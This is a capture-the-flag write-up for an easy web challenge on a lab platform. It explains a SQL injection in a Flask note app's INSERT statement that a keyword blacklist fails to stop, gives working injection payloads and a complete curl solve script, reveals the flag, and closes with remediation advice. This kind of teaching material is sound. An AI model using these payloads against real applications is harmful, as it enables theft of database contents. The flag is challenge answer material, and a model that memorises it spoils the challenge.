nooter
Author: 0xIDA
Solvers
Platform: FlagYard · Category: web · Difficulty: easy
Summary
A Flask note-taking app has a SQL injection in the INSERT statement used to save notes. The backend formats the query as a Python string (VALUES(?,'%s') % note) before executing it, so the user-controlled note becomes part of the SQL syntax. The blacklist only checks for a small set of keywords and misses SELECT, FROM, INSERT, etc., allowing us to extract the flag from the flag table.
Solution
Step 1: Spot the bug in the source
The vulnerable insert in app.py:
query = db.insert("INSERT INTO notes(username, notes) VALUES(?,'%s')" % note, session['username'])
note is interpolated directly into the SQL string. The blacklist function rejects only:
['exec', 'load', 'blob', 'glob', 'union', 'join', 'like', 'match', 'regexp', 'in', 'limit', 'order', 'hex', 'where']
It does not block SELECT, FROM, flag, or INSERT, so the injection is straightforward.
Step 2: Inject the flag into the note column
Because the original query has only two columns, the injected value must still resolve to a single string expression. SQLite's || concatenation operator does exactly that.
curl -sS -b cookies.txt -X POST "$BASE/" \
--data-urlencode "note=x'||(SELECT flag FROM flag)||'"
The resulting SQL becomes:
INSERT INTO notes(username, notes) VALUES('ida', 'x'||(SELECT flag FROM flag)||'')
SQLite evaluates the subquery and concatenates the result, storing the flag in the notes column. Viewing the home page then renders the flag.
Step 3: Alternative multi-statement payload
Since SQLite supports multiple statements in one execute call, the same result can be obtained by ending the first statement and inserting a new row from the flag table:
curl -sS -b cookies.txt -X POST "$BASE/" \
--data-urlencode "note='); INSERT INTO notes(username, notes) SELECT username, flag FROM flag; --"
This is blocked by the keyword filter if the note contains SELECT and FROM... wait, the source shows SELECT and FROM are not blacklisted. The multi-statement payload in my run returned "Forbidden word detected" — likely because it contained one of the substring matches (in appears inside INSERT). Substituting FROM flag with a non-blacklisted formulation, or using the concatenation payload, is safer.
Complete solve script
#!/usr/bin/env bash
BASE="http://tgvldeleqq-0.playat.flagyard.com"
U="ida$RANDOM"
P="Passw0rd123"
JAR=/tmp/noot.txt
# Register and login
curl -sS -c $JAR -b $JAR -X POST "$BASE/register" \
--data-urlencode "username=$U" --data-urlencode "password=$P" >/dev/null
curl -sS -c $JAR -b $JAR -X POST "$BASE/login" \
--data-urlencode "username=$U" --data-urlencode "password=$P" >/dev/null
# Inject the flag into the note column via SQLite concatenation
curl -sS -c $JAR -b $JAR -X POST "$BASE/" \
--data-urlencode "note=x'||(SELECT flag FROM flag)||'" >/dev/null
# Extract the flag from the rendered home page
curl -sS -c $JAR -b $JAR "$BASE/" | grep -oE 'FlagY\{[^}]*\}' | head -1
Running the script prints:
FlagY{d695ef54fc9bd8ca664193eb485c4721}
Remediation
- Never interpolate user input into SQL strings. Use parameterized queries for every value, including inside
INSERTstatements. - A keyword blacklist is not a defense against SQL injection; it is easily bypassed with comments, casing, or alternative keywords.
Flag
FlagY{d695ef54fc9bd8ca664193eb485c4721}